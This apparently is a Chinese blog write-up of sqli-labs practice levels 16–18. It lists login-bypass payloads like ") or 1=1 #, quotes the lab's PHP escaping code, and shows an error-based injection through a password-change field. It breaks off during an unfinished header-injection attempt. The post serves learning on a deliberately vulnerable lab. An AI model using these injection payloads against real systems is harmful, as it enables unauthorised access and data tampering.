sqli labs 3

题目:16
通过尝试,没有爆出sql语法错误的信息,因此尝试各种万能密码:
’ or 1=1 #
” or 1=1 #
‘) or 1=1 #
“) or 1=1 #
‘)) or 1=1 #
“)) or 1=1 #
进过测试:”) or 1=1 # 是万能密码,登录成功


题目17:
初次尝试各种万能密码,没有尝试成功,因此根据需求,构造sql语句:

select * from user where username="" and password="" limit 0,1;
考虑可能是过滤了字符串,开启php get_magic_quotes_gpc函数,可能过滤的字符串为: ' " \

不说了,看源代码:

“`
if(!empty(value))  
                {  
                // truncation (see comments)
value = substr($value,0,15);
}

            // Stripslashes if magic quotes enabled
            if (get_magic_quotes_gpc())
                    {
                    $value = stripslashes($value); \\ 删除反斜杠
                    }

            // Quote if not a number
            if (!ctype_digit($value))
                    {
                    $value = "'" . mysql_real_escape_string($value) . "'";
                    }

    else
            {
            $value = intval($value);
            }
    return $value;

sql:sql=”SELECT username, password FROM users WHERE username= $uname LIMIT 0,1”;

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符

\x00
\n
\r
\
'
"
\x1a

根据所有的信息分析:
这是一个改密码的程序,首先对帐号进行的 过滤,但是没有对密码进行过滤,所以对密码进行sql注入。
username=admin1&password=12’ where (select count(*) from aaa)>0 #

页面会抱报错
Table ‘security.aaa’ doesn’t exist
到这,注入找见了


题目18:
根据提示:注入存在header
查看源代码:
insert="INSERTINTOsecurity.uagents(uagent,ipaddress,username)VALUES(uagent’, ‘IP,uname)”;
考虑是user-agent 注入
构造user-aget ………………(在这里尝试很多,同时执行2条sql语句会错,先到这里,明天继续改改,第一次尝试header 头注入)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值